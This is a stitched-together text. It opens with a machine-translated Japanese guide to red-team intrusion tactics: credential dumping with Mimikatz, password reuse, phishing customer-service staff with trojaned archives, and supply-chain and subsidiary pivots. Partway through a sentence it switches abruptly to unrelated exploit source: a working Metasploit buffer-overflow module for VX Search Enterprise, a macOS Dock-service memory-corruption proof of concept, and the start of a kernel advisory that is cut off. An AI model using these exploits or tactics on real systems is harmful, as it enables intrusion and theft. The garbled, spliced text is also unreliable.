イントラネットに入った後、ブルーチームの専門家は通常、ローカルマシンと内部ネットワークでさらに情報収集とインテリジェンススパイ作業を実施します。現在のコンピューターのネットワーク接続、プロセスリスト、コマンド実行履歴、データベース情報、現在のユーザー情報、管理者ログイン情報、サマリーパスワードルール、パッチ更新頻度、その他の情報を収集するなど。同時に、IP、ホスト名、オープンポート、オープンサービス、オープンアプリケーションなど、イントラネット上のサーバーのインテリジェンススパイを指揮します。次に、イントラネットコンピューターとサーバーを使用して、時間内に脆弱性を修復できず、セキュリティ保護と同じパスワードを提供して、水平浸透の結果を拡張します。

ドメインを含むイントラネットの場合、ブルーチームの専門家は、結果を拡大しながら、ドメイン管理者のログインに関する手がかりを探します。サーバーにドメイン管理者がログインしていることがわかったら、Mimikatzなどのツールを使用してログインアカウントパスワードのクリアテキストを取得しようとするか、Hashdumpツールを使用してNTLMハッシュをエクスポートし、ドメイン制御サーバーの浸透制御を実現できます。

イントラネットのローミングプロセス中、ブルーチームの専門家は、メールサーバーのアクセス許可、OAシステム許可、バージョン制御サーバーの許可、集中操作およびメンテナンス管理プラットフォームの許可、統一された認証システムのアクセス許可、ドメイン制御権限などに焦点を当て、コアシステムの許可を侵害し、コアビジネスの獲得、コアブレークスルーの獲得に焦点を当てます。

第4章ブルーチームもルーチン——共通攻撃戦術

ブルーチームの実際の戦闘中、ブルーチームの専門家は徐々にいくつかのルーチンを開発し、いくつかのエクスペリエンスを要約しました。システムの脆弱性が見つからない場合、彼らは釣りをして人々から突破口を作ろうとします。セキュリティ保護装置がある場合、スキャナーを少なく使用またはまったく使用しないようにし、Expを使用して1回のストライクでターゲットを打つよう努力します。厳格な防御を備えたシステムの場合、彼らは子会社またはサプライチェーンから作業を実行しようとします。強力な基盤を確立するとき、彼らは複数の手段を使用して、問題が発生する前に問題を防ぐために複数のポイントに潜んでいます。

以下は、ブルーチームで最も一般的に使用される攻撃戦術の9つです。

1.弱いパスワードを使用してアクセス許可を取得します

弱いパスワード、デフォルトのパスワード、ユニバーサルパスワード、リークされたパスワードは、多くの場合、ブルーチームの専門家の焦点です。実際の作業では、弱いパスワードを介してアクセス許可を取得したケースの90%以上が説明しています。

企業の多くの従業員は、Zhangsan、Zhangsan001、Zhangsan123、Zhangsan888またはその単純な変形などのアカウントのピニインを使用しています。これにより、情報が収集された後、電子メール、OA、その他のアカウントをキャプチャできる列挙のために、単純なパスワード辞書が生成されるという事実につながります。

また、複数の異なるWebサイトで同じパスワードを設定するのが好きな多くの従業員もいます。そのパスワードは長い間漏れており、ブラック業界トランザクションのソーシャルワークライブラリに入力されています。または、SSO検証を有効にしないイントラネットビジネスシステムの場合、同じアカウントパスワードを使用することに慣れています。これにより、特定のチャネルからアカウントパスワードを取得した後、資格情報の再利用を通じてこの従業員が使用する他のビジネスシステムに簡単にログインし、新しい攻撃面を開くための利便性を提供できるという事実につながります。

多くの一般的なシステムは、インストール後にデフォルトの管理パスワードを設定しますが、一部の管理者はパスワードを変更したことがありません。 Admin/Admin、Test/123456、Admin/Admin888などのパスワードは、内部および外部ネットワークシステムのバックエンドシステムに広く存在します。バックエンドシステムに入ると、サーバー制御権限を取得する可能性が非常に高くなります。同様に、多くの管理者は同じパスワードのセットを使用して、管理の利便性のために異なるサーバーを管理します。サーバーがキャプチャされ、パスワードが盗まれると、複数のサーバーに拡張され、ドメインコントローラーが落ちるリスクさえも拡張できます。

2。インターネットの境界を使用して、内部ネットワークに侵入します

ほとんどの企業は、VPNシステム、仮想化されたデスクトップシステム、電子メールサービスシステム、公式Webサイトなど、インターネットの境界に開放されているデバイスまたはシステムを持っています。これは、これらのデバイスまたはシステムに、境界を突破するための最初のエントリポイントになることが多いインターネット側から直接アクセスできるためです。

このようなデバイスまたはシステムは、通常、イントラネット上の重要なサービスにアクセスします。従業員の使用に影響を与えることを避けるために、多くの企業は送信チャネルにさらに保護方法を追加していません。さらに、このようなシステムは統合ログインを統合します。従業員のアカウントパスワードが取得されると、境界を突破し、これらのシステムを介してイントラネットを直接入力できます。

たとえば、イントラネットの境界に開かれているメールサービスに監査がない場合、多要因認証を採用しません。従業員は、多くの場合、電子メールを通じてイントラネットから大量の機密情報を送信します。サーバーアカウントのパスワード、主要人員のアドレス帳などなど。その後、関連する従業員の電子メールアカウントとパスワードを習得した後、電子メールで取得した情報は、Blue Teamの次の作業によって提供されます。

3.一般的な製品コンポーネントの脆弱性を活用してください

情報技術の適用は仕事の効率を向上させますが、それが持っているセキュリティの脆弱性は、ブルーチームの職員にも愛されています。長年にわたる実際的な攻撃および防衛の演習では、頻繁に悪用されている一般的な製品の脆弱性には、電子メールシステムの脆弱性、OAシステムの脆弱性、ミドルウェアソフトウェアの脆弱性、データベースの脆弱性などがあります。これらの脆弱性が悪用された後、攻撃者は大量のアカウントの許容を迅速に取得し、ターゲットシステムを制御できます。守備隊として、抜け穴はしばしば検出が困難であり、関連する活動は通常のビジネスアクセスとして無視されることがよくあります。

4.セキュリティ製品0Dayの脆弱性を活用してください

セキュリティ製品自体は0日攻撃を回避できません!セキュリティ製品はコードラインでも構成されており、オペレーティングシステム、データベース、さまざまなコンポーネントなどで構成される製品でもあります。長年にわたる攻撃および防衛の実践的な演習中、セキュリティゲートウェイ、アイデンティティとアクセス管理、セキュリティ管理、セキュリティ管理、その他のセキュリティ製品の0日間の脆弱性が含まれます。これらのセキュリティ製品の脆弱性が悪用されると、攻撃者はネットワークの境界を突破し、ネットワークに入るための制御権限を取得できます。ユーザーアカウント情報を取得し、関連するデバイスとネットワークへの制御権限をすばやく取得します。

セキュリティ製品の0日の脆弱性は、多くの場合、ブルーチームにとって最高の攻撃武器です。

5。人々の弱点とソーシャルワーカーを利用して釣りをする

人々の安全性の認識やセキュリティ能力の欠如を利用して、ソーシャルエンジニアリング攻撃を実施し、フィッシングメールやソーシャルプラットフォームで誘惑することは、ブルーチームの専門家がよく使用するソーシャルワーカーの方法です。多くの場合、「システムをエンゲージする」ことよりも「人々を巻き込む」のははるかに簡単です。

フィッシングメールは、最も頻繁に使用される攻撃方法の1つです。ブルーチームの専門家は、ソーシャルワーカーのフィッシングまたは搾取方法を通じて、セキュリティ意識が不十分な特定の従業員の電子メールアカウントを盗むことがよくあります。次に、盗まれた電子メールをユニットまたはシステム管理者の他の従業員に使用し、アカウントのパスワードをチートするか、トロイの木馬プログラムを配置します。フィッシングメールは内部の電子メールから来ており、非常に高い「信頼性」を持っているため、IT担当者や管理者でさえ強力なセキュリティ認識を持つ管理者でさえ、電子メールのフィッシングリンクまたはトロイの木馬の添付ファイルをクリックするように簡単にだまされます。

顧客に虚偽の苦情を申し立てることも、ソーシャルワークの一般的な方法でもあります。攻撃者は、オンラインカスタマーサービスプラットフォーム、ソーシャルソフトウェアプラットフォームなどを通じて、顧客担当者に誤ったフィードバックまたは苦情を独身または複数の人々に提供し、顧客サービス担当者に慎重に設計された有毒な文書または有毒な圧縮パッケージを受け入れるように誘導または強制する状況を設定します。顧客担当者の心理的防御が破壊され、有毒なファイルまたは圧縮パッケージが開かれると、カスタマーサービス担当者のコンピューターは、攻撃チームがイントラネットに入るための「フットポイント」になります。

カスタマーサービス担当者に加えて、非技術的な職位にある多くのスタッフは、ソーシャルワーカーが攻撃するための「光学ターゲット」も簡単に「光学ターゲット」です。たとえば、弁護士の手紙を法務担当者に送り、履歴書を人事担当者に送信し、営業担当者に調達要件を送信することは、すべて比較的一般的なソーシャルワーク方法です。そして、それはしばしば「試され、効果的」です。

6.サプライチェーンを使用して攻撃を隠します

サプライチェーン攻撃は、回り道に攻撃する典型的な方法です。攻撃者は、ITのサプライチェーン(機器およびソフトウェア)サービスプロバイダー、セキュリティサービスプロバイダー、オフィスおよび生産サービスプロバイダーから始まり、ソフトウェア、機器、システムの脆弱性を見つけ、人員と管理の弱点を発見し、攻撃を実行します。一般的なシステムのブレークスルーには、メールシステム、OAシステム、セキュリティ機器、ソーシャルソフトウェアなどが含まれます。一般的なブレークスルーには、ソフトウェアの脆弱性、弱い管理者のパスワードなどが含まれます。

サプライチェーン攻撃を使用して、サードパーティのソフトウェアシステムの悪意のある更新、サードパーティサービスバックエンドの秘密の操作、物理的境界の防衛ブレークスルー(制御されたサプライヤーのオンサイト機器がイントラネットに接続されているなど)など、さまざまな複雑な攻撃ターゲットを達成できます。

7.下位ユニットを使用して攻撃します

レッドチームの防衛を伴う実際の攻撃的および防御的な演習では、本社のシステム防衛が比較的緊密であり、ブルーチームが真正面から突破することは困難であり、イントラネットのドアを直接こじ開けることは困難です。この時点で、正面防衛をバイパスしようとし、比較的弱い防御で下位ユニットを攻撃し、その後、本社のターゲットシステムに迂回することは非常に「賢明な」戦略です。

多数の実用的な運用で、Blueチームは、企業の大多数、従属ユニット間の内部ネットワーク、およびその下位ユニットとグループ本部の間の内部ネットワークが効果的に隔離されていないことを発見しました。多くの省庁、委員会、ユニット、大規模な中央企業は、別の専用ネットワークを使用して地域間のイントラネット接続を開くことに慣れています。ただし、同時に、彼らは一般に、エリアに接続されておらず、十分な効果的なネットワークアクセス制御を欠いているネットワーク間の必要な分離と制御の尺度を無視します。

これは、ブルーチームが子会社または支店の防衛ラインを突破すると、イントラネットを介して水平に浸透し、グループ本部を直接攻撃するか、エンタープライズイントラネット全体を歩き回ってから、システムを攻撃できるという事実につながります。

たとえば、子会社Aは深Shenzhenにあり、子会社Bは広州にあり、その本部は北京にあります。子会社Aまたは子会社Bが破られた場合、障害物なしで本部ネットワークに入ることができます。実際、子会社Aおよび子会社Bは、北京本部のビジネスシステムの一部にのみアクセスする必要がある場合があります。同時に、AとBはビジネス取引をまったく持っている必要がないかもしれません。次に、セキュリティの観点から、AとBの間のネットワークアクセスを厳密に制限する必要があります。しかし、現実はしばしばあります。専用のイントラネットは、国のすべての地域、1つが落ち、あらゆる場所につながります。

8。秘密の浸透

プライベートハッカーやブラック業界のチームとは異なり、ブルーチームは通常、作業中に大規模な脆弱性スキャナーを使用しません。スキャナーのアクティビティ特性は明らかであり、簡単に露出できるからです。たとえば、現在の主流のWAF、IPS、その他の保護装置は、脆弱性スキャナーを特定する機能を備えています。発見されると、アラームがトリガーされるか、IPができるだけ早くブロックされる場合があります。

したがって、情報収集とインテリジェンススパイは、ブルーチームの仕事の基盤です。データの蓄積に基づいて、特定のシステム、特定のプラットフォーム、特定のアプリケーション、および特定のバージョンに基づいて対応する脆弱性を見つけ、攻撃操作を実装するために保護装置をバイパスできるExpを書き込み、攻撃をブロックする目的を達成できます。

ターゲットシステムの防御深度が不十分である場合、またはセキュリティ機器を使用する能力が不十分な場合、そのようなターゲット攻撃に直面した場合、タイムリーに攻撃を検出してブロックすることは困難です。攻撃的および防御的なエクササイズの実際の戦闘では、青色のチームがターゲットデータまたはデータを取得するためによく使用され、攻撃されたユニットはまだ侵略を感じていません。

演習に参加しているセキュリティ担当者が比較的弱い技術能力を持ち、攻撃行動を発見して特定できず、効果的な攻撃ブロッキング、脆弱性の追跡、システム修復戦略を提供できない場合、攻撃が発生したときに、防衛当事者はブルーチームの隠された攻撃に対して効果的な対応を得ることができません。

9。複数のポイントに横たわっています

仕事では、ブルーチームの専門家は通常、1つの拠点に立つために浸透作業を実施するだけでなく、異なるウェブシェルを採用し、異なるバックドアプログラムを使用し、異なるプロトコルを使用して異なる特性を持つ拠点を確立します。

実際、ほとんどの緊急対応プロセスは、攻撃の原因を追跡せず、完全な攻撃パスを分析することもできません。保護装置に警戒する場合、多くの防御プレーヤーは、アラーム機器のアラームIPに対応するサーバーのみを処理し、攻撃チェーンの並べ替えを無視して、アラームにもかかわらずイントラネットから青いチームを除外できません。青いチームは、複数の潜んでいる拠点を介してすぐに「復活」することができます。

一部の防御メンバーが専門的ではなく、安全性の認識が不十分な場合、ブルーチームの「待ち伏せ」の下でより機密情報を公開することもあります。たとえば、Windowsサーバーの緊急操作とメンテナンス中に、一部の防御プレーヤーは、リモートデスクトップ共有を介してディスクをAlarmed Serverに直接取り付けます。代わりに、これにより、密かに潜んでいる青いチームに、防御側のメンバーをさらに攻撃する機会が与えられます。

第5章ブルーチーム36戦略——クラシック攻撃の例

古代人は、軍隊を戦わせるとき、36の戦略について話しました。ブルーチームの実際の戦闘は、攻撃的で防御的な対立のプロセスでもあり、それは人々の間の戦いでもあり、提案と知恵と勇気を必要とします。このプロセスでは、「陰謀」と「陰謀」があり、勇気があり、将来を見据えています。この目的のために、私たちはいくつかの小さなケースを選択し、より具体的には、36のタイトルを持つブルーチームの一般的な攻撃方法をより具体的に実証しました。

1。前頭突破3——クロスネットセグメント制御産業制御機器

特定の企業は大規模な国内製造企業であり、内部生産ネットワークは多数のデュアルネットワークカードテクノロジーを使用してネットワーク分離を実現しています。この実用的な攻撃および防衛演習では、攻撃チームの目標は、会社の産業制御機器の制御権限を取得することです。

早期のインテリジェンスの収集と分析の後、攻撃チームは最初にオフィスネットワークを突破し、その後オフィスネットワークを介して産業制御ネットワークに侵入するための戦略的展開を策定しました。

1)オフィスネットワークのブレークスルー

攻撃チームは、最初に会社のポータルをブレークスルーポイントとして選択し、0日間の脆弱性を使用してポータルアプリケーションとオペレーティングシステムの管理者の権利を取得し、それにより会社のオフィスイントラネットへのアクセス許可を取得しました。

横方向の動きの間、攻撃チームは、エンタープライズのイントラネットで複数のサービスシステムと複数のサーバーを検出しました。ポータル管理者アカウントとパスワードを使用して、ライブラリ攻撃をクラックし、エンタープライズのイントラネットのほとんどのサーバーを正常にログインおよび制御します。これは、エンタープライズのイントラネット内の多数のシステムサーバーが同じ管理アカウントとパスワードを使用していることを示しています。

この時点で、オフィスネットワークを突破する攻撃チームの最初のフェーズは正常に完了し、素晴らしい結果を達成しました。次の目標は、産業制御ネットワークでブレークスルーを見つけることです。

2)ポジショニング操作およびメンテナンス担当者

侵害されたサーバーシステムの包括的な調査が実施されました。攻撃チームは、複数のサーバーがExcelプレーンテキストに記録されたパスワードブックを保存し、パスワードブックにはすべてのシステムユーザーのアカウントとパスワードが含まれていることを発見しました。同時に、組織内の多数の内部機密ファイルが、エンタープライズIT部門の組織構造やその他の情報を含む、サーバーに明確に保存されています。組織構造とパスワードの帳簿情報と組み合わせることで、攻撃チームは産業制御システムの運用および保守要員を正常に配置し、ネットワーキング行動の長期監視を実施しました。

3)産業制御ネットワークのブレークスルー

監視の期間の後、攻撃チームは、操作およびメンテナンス担当者がオフィスターミナルにリモートデスクトップをネストしていることを発見しました。つまり、最初にホストAにリモートデスクトップを介してログインしました。その後、オペレーターは、リモートデスクトップを介して別のネットワークセグメントでBをホストするためにログインし続けました。パスワードブックと比較すると、ホストAとBはどちらもエンタープライズの産業制御システムのホストデバイスであることがわかりましたが、それぞれがネットワークトポロジの異なるレベルにありました。その中には、Bホストの下に重要な産業制御機器があります。

さらなる分析では、使用済みのデュアルネットワークカードをホストし、2つのネットワークカードが異なるネットワークセグメントに対応することがわかりましたが、2つのネットワークカードの間に分離測定は行われませんでした。同時に、ホストBはデュアルネットワークカードホストでもあり、デュアルネットワークカードの切り替えを実行するために、分離カードソフトウェアが展開されます。

最後に、攻撃チームはBホストの分離カードソフトウェアの主要な設計上の欠陥を発見し、欠陥を使用してデュアルネットワークカードの分離メカニズムを正常にバイパスし、産業制御機器の動作許可を正常に取得し、対応する産業制御機器を自由に停止、起動、リセットすることができました。一部の操作は、機器の生産プロセスに直接的かつ深刻な損害を引き起こす可能性があります。

同時に、攻撃チームの別のグループのグループグループは、管理されたホストの目的と保存ファイルを調査し続けました。ハードワークは報われます。攻撃チームは、最終的に、いくつかの機密ファイルを含む生産固有のファイルを保存する「生産および操作室」のホストデバイスを発見しました。盗まれると、結果は想像できません。

2。許しなし——ソーシャルワーカーは釣りの境界を突破します

特定の企業は大規模な専門機器メーカーであり、比較的成熟したインターネットサービスの経験を持っています。この実際的な攻撃および防衛の演習では、攻撃チームの目標は、会社のコアビジネス管理プラットフォームの制御権限を取得することです。

初期のインテリジェンスコレクションの作業中、攻撃チームは、会社の内部ネットワーク防衛システムが比較的健全であり、正面のブレークスルーを行うことが困難であることを発見しました。ブレーンストーミング後、誰もが——がソーシャルワーク方法を通じてラウンドアバウトの侵略を行うべきであるというコンセンサスに達しました。

1)ソーシャルワーカーのブレークスルーを見つけます

チームが最初に考えるソーシャルワーカーの方法は、最も一般的な電子メールフィッシングでもあります。ただし、同社の比較的完全なネットワーク防衛システムを考慮すると、電子メール検出防御方法がイントラネットに展開されていると推測されており、電子メールフィッシングの簡単な使用が発見される可能性があります。

さらにインテリジェンスコレクションは、同社がWeChatカスタマーサービスプラットフォームを使用しており、WeChatカスタマーサービスプラットフォームがリアルタイムチャットを実施してファイルを送信できることを発見しました。カスタマーサービス担当者には一般的に強力な技術スキルがなく、安全性の認識が比較的弱いことを考えると、攻撃チームは最終的に同意しました。ソーシャルワーカーのターゲットをWeChatカスタマーサービス担当者として決定し、苦情のトピックに基づいてカスタマーサービスを釣りましょう。

2)カスタマーサービスになりすましてフィードバックの問題

そのため、攻撃チームのメンバーは、顧客のふりをし、会社のWeChatカスタマーサービスプラットフォームにメッセージを残し、不平を言うようになり、カスタマーサービススタッフに「エビデンスビデオ録画」と呼ばれる圧縮ファイルパッケージを受け取るように依頼しました。 ZIPパッケージは、実際には、攻撃チームによるTrojanプログラムを備えた慎重に偽装されたファイルパッケージです。攻撃チームに予期せずに起こったのは、クライアントスタッフがセキュリティの理由で未知のソースから文書を受け取ることを決定的に拒否したことです。明らかに、攻撃チームは、会社のカスタマーサービススタッフの安全啓発リテラシーを過小評価している可能性があります。

3)ソーシャルワーカーのアップグレード心理的防衛ラインを突破する

ただし、攻撃チームはあきらめませんでしたが、勤務中のカスタマーサービス担当者を攻撃するための多人員コラボレーション方法をさらに採用し、カスタマーサービス担当者に仕事番号を報告することを要求し、カスタマーサービスの品質について不満を言うと脅しました。 1時間の綱引きの後、カスタマーサービススタッフの心理的防衛ラインが最終的に壊れ、最終的に毒された圧縮パッケージを受け入れ、トロイの木馬ファイルを開きました。カスタマーサービススタッフのターミナル機器は最終的に制御されます。

制御された端末を基地として採用して、攻撃チームは会社のイントラネットに正常に入力し、その後、主要なデバイスの制御権限を取得するために時間内に修理できなかったシステムの脆弱性を使用しました。イントラネットの情報収集と組み合わせると、最終的に制御プラットフォームのアクセス許可が正常に取得されました。

3.ねじれてねじれた——サプライチェーン固定点攻撃

Super-Large Enterpriseは、全国レベルの重要な情報インフラストラクチャオペレーションおよび管理パーティーです。安全事故が発生すると、国家安全保障と人々の生活と財産を直接危険にさらします。この実用的な攻撃および防衛演習では、攻撃チームの目標は、企業の内部システムのセキュリティ管理機関を取得することです。

攻撃チームによる初期のインテリジェンスコレクションと調査によると、同社のオフィスネットワークとコア産業制御システムは、インターネットにさらされるビジネスシステムはほとんどなく、ビジネスシステムが安全に強化され、多層保護があり、毎日のネットワークセキュリティ運用とメンテナンス機能もあります。突破口を作ることは非常に困難です。

以前のインテリジェンス分析はまた、会社の規模が大きく、多数の人員がいるが、独立したITシステムの研究開発と運用と保守機能がないことも示しました。コアITシステムの建設と運用とメンテナンスは、実際には主に外部調達またはアウトソーシングサービスから来ています。したがって、この機能に基づいて、攻撃チームは、サプライチェーンから始まる全体的な攻撃戦略を策定しました。

1)ターゲットサプライヤーを見つけます

攻撃チームは、最初に「良いニュース」、「ワイド入札」、「署名」、「協力」、「承認」などのキーワードを検索し、ネットワーク全体で会社のサプライヤーとビジネスパートナーのカーペットスタイルの調査を実施し、最終的には攻撃の主なターゲットとして、会社の専用のインスタントメッセージングソフトウェアシステムの開発者である会社Aを選択しました。

情報は、企業Aの企業Aが開発した専用のインスタントメッセージングシステムが完了したばかりであることを示しています。プロジェクトはまだテスト段階にあると推測されています。会社Aは、エンタープライズに完全な運用とメンテナンスサービスを提供するために、長い間配送と運用および保守担当者を備えている必要があります。居住者職員のターミナル機器を取得できる場合、会社のイントラネットシステムに正常に入ることができます。

2)管理者アカウントを盗みます

分析では、会社Aが開発したインスタントメッセージングソフトウェアも会社内で使用されていることがわかりました。このソフトウェアのネットワークサービス管理の背景には、既知のシステムセキュリティの脆弱性があります。攻撃チームは、この脆弱性を使用してサーバーの制御を取得し、サーバーのデータベースシステムにアクセスしてバックエンド管理者のアカウントとパスワードを取得しました。

3)居住者の職員の配置

攻撃チームが管理者のアカウントとパスワードを使用してサーバーにログインした後、システムのチャットレコードがサーバーに準平らなテキスト(低強度暗号化または変換)に保存され、管理者は制限なしに会社内の履歴チャットレコードを読むことができます。

攻撃チームによるチャットレコードを検索した後、ターゲットの会社名、OA、操作、メンテナンスなど、多くの単語を持っている人が3人の従業員がいることがわかりました。さらに、これら3人の従業員のログインIPは、ターゲット企業の排他的なネットワークセグメントに落ちることがよくありました。したがって、攻撃チームは、これら3人の従業員がターゲット企業の会社Aの常駐担当者であると判断しました。

4)ターゲットを絞った悪意のあるアップグレードパッケージ

攻撃チームは、当初、充電されたインスタントメッセージングソフトウェアサーバーを使用して3人の居住者にリーチすることを想像していました。

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VX Search Enterprise GET Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability
        in the web interface of VX Search Enterprise v9.5.12, caused by
        improper bounds checking of the request path in HTTP GET requests
        sent to the built-in web server. This module has been tested
        successfully on Windows 7 SP1 x86.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Daniel Teixeira'
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00\x09\x0a\x0d\x20\x26",
          'Space'      => 500
        },
      'Targets'        =>
        [
          [ 'VX Search Enterprise v9.5.12',
            {
              'Offset' => 2488,
              'Ret'    => 0x10015ffe  # POP # POP # RET [libspp.dll]
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Mar 15 2017',
      'DefaultTarget'  => 0))
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/'
    )

    if res && res.code == 200
      version = res.body[/VX Search Enterprise v[^<]*/]
      if version
        vprint_status("Version detected: #{version}")
        if version =~ /9\.5\.12/
          return Exploit::CheckCode::Appears
        end
        return Exploit::CheckCode::Detected
      end
    else
      vprint_error('Unable to determine due to a HTTP connection timeout')
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end

  def exploit

    eggoptions = {
      checksum: true,
      eggtag: rand_text_alpha(4, payload_badchars)
    }

    hunter, egg = generate_egghunter(
      payload.encoded,
      payload_badchars,
      eggoptions
    )

    sploit =  rand_text_alpha(target['Offset'])
    sploit << generate_seh_record(target.ret)
    sploit << hunter
    sploit << make_nops(10)
    sploit << egg
    sploit << rand_text_alpha(5500)

    print_status('Sending request...')

    send_request_cgi(
      'method' => 'GET',
      'uri'    => sploit
    )
  end
end
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1219

HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism.

The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that
to index an array of function pointers for the support types:

__const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize
__const:0000000000053ED0                                         ; DATA XREF: _AXUnserializeCFType+7Co
__const:0000000000053ED0                                         ; _cfDictionaryUnserialize+E4o ...
__const:0000000000053ED8                 dq offset _cfNumberUnserialize
__const:0000000000053EE0                 dq offset _cfBooleanUnserialize
__const:0000000000053EE8                 dq offset _cfArrayUnserialize
__const:0000000000053EF0                 dq offset _cfDictionaryUnserialize
__const:0000000000053EF8                 dq offset _cfDataUnserialize
__const:0000000000053F00                 dq offset _cfDateUnserialize
__const:0000000000053F08                 dq offset _cfURLUnserialize
__const:0000000000053F10                 dq offset _cfNullUnserialize
__const:0000000000053F18                 dq offset _cfAttributedStringUnserialize
__const:0000000000053F20                 dq offset _axElementUnserialize
__const:0000000000053F28                 dq offset _axValueUnserialize
__const:0000000000053F30                 dq offset _cgColorUnserialize
__const:0000000000053F38                 dq offset _axTextMarkerUnserialize
__const:0000000000053F40                 dq offset _axTextMarkerRangeUnserialize
__const:0000000000053F48                 dq offset _cgPathUnserialize

From a cursory inspection it's clear that these methods don't expect to parse untrusted data.

The first method, cfStringUnserialize, trusts the length field in the serialized representation
and uses that to byte-swap the string without any bounds checking leading to memory corruption.

I would guess that all the other unserialization methods should also be closely examined.

This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also
runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism
is also used in replies to dock clients.

com.apple.uninstalld is a client of the Dock and runs as root
so by first exploiting this bug to gain code execution as the Dock process, we could
trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root.

This poc just crashes the Dock process though.

Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize:
https://github.com/facebook/WebDriverAgent/pull/99/files

Tested on MacOS 10.12.3 (16D32)
*/

// ianbeer
#if 0
MacOS local EoP due to lack of bounds checking in HIServices custom CFObject serialization

HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism.

The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that
to index an array of function pointers for the support types:

__const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize
__const:0000000000053ED0                                         ; DATA XREF: _AXUnserializeCFType+7Co
__const:0000000000053ED0                                         ; _cfDictionaryUnserialize+E4o ...
__const:0000000000053ED8                 dq offset _cfNumberUnserialize
__const:0000000000053EE0                 dq offset _cfBooleanUnserialize
__const:0000000000053EE8                 dq offset _cfArrayUnserialize
__const:0000000000053EF0                 dq offset _cfDictionaryUnserialize
__const:0000000000053EF8                 dq offset _cfDataUnserialize
__const:0000000000053F00                 dq offset _cfDateUnserialize
__const:0000000000053F08                 dq offset _cfURLUnserialize
__const:0000000000053F10                 dq offset _cfNullUnserialize
__const:0000000000053F18                 dq offset _cfAttributedStringUnserialize
__const:0000000000053F20                 dq offset _axElementUnserialize
__const:0000000000053F28                 dq offset _axValueUnserialize
__const:0000000000053F30                 dq offset _cgColorUnserialize
__const:0000000000053F38                 dq offset _axTextMarkerUnserialize
__const:0000000000053F40                 dq offset _axTextMarkerRangeUnserialize
__const:0000000000053F48                 dq offset _cgPathUnserialize

From a cursory inspection it's clear that these methods don't expect to parse untrusted data.

The first method, cfStringUnserialize, trusts the length field in the serialized representation
and uses that to byte-swap the string without any bounds checking leading to memory corruption.

I would guess that all the other unserialization methods should also be closely examined.

This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also
runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism
is also used in replies to dock clients.

com.apple.uninstalld is a client of the Dock and runs as root
so by first exploiting this bug to gain code execution as the Dock process, we could
trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root.

This poc just crashes the Dock process though.

Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize:
https://github.com/facebook/WebDriverAgent/pull/99/files

Tested on MacOS 10.12.3 (16D32)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <mach/mach.h>
#include <mach/message.h>
#include <servers/bootstrap.h>

struct dock_msg {
  mach_msg_header_t hdr;
  mach_msg_body_t body;
  mach_msg_ool_descriptor_t ool_desc;
  uint8_t PAD[0xc];
  uint32_t ool_size;
};

int main() {
  kern_return_t err;
  mach_port_t service_port;
  err = bootstrap_look_up(bootstrap_port, "com.apple.dock.server", &service_port);
  if (err != KERN_SUCCESS) {
    printf(" [-] unable to lookup service");
    exit(EXIT_FAILURE);
  }
  printf("got service port: %x\n", service_port);

  uint32_t serialized_string[] =
   { 'abcd',     // neither 'owen' or 'aela' -> bswap?
     0x0,        // type = cfStringUnserialize
     0x41414141, // length
     0x41414141, // length
     0x1,        // contents
     0x2,
     0x3 };

	struct dock_msg m = {0};

  m.hdr.msgh_size = sizeof(struct dock_msg);
  m.hdr.msgh_local_port = MACH_PORT_NULL;
  m.hdr.msgh_remote_port = service_port;
  m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  m.hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
  m.hdr.msgh_id = 0x178f4; // first message in com.apple.dock.server mig subsystem
  m.ool_size = sizeof(serialized_string);

  m.body.msgh_descriptor_count = 1;

  m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;
  m.ool_desc.address = serialized_string;
  m.ool_desc.size = sizeof(serialized_string);
  m.ool_desc.deallocate = 0;
  m.ool_desc.copy = MACH_MSG_PHYSICAL_COPY;

  err = mach_msg(&m.hdr,
                 MACH_SEND_MSG,
                 m.hdr.msgh_size,
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);

  if (err != KERN_SUCCESS) {
    printf(" [-] mach_msg failed with error code:%x\n", err);
    exit(EXIT_FAILURE);
  }
  printf(" [+] looks like that sent?\n");

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1140

netagent_ctl_setopt is the setsockopt handler for netagent control sockets. Options of type
NETAGENT_OPTION_TYPE_REGISTER are handled by netagent_handle_register_setopt. Here's the code:

  static errno_t
  netagent_handle_register_setopt(struct netagent_session *session, u_int8_t *payload,
                  u_int32_t payload_length)
  {
    int data_size = 0;
    struct netagent_wrapper *new_wrapper = NULL;
    u_int32_t response_error = 0;
    struct netagent *register_netagent = (struct netagent *)(void *)payload;   <----------- (a)

    if (session == NULL) {
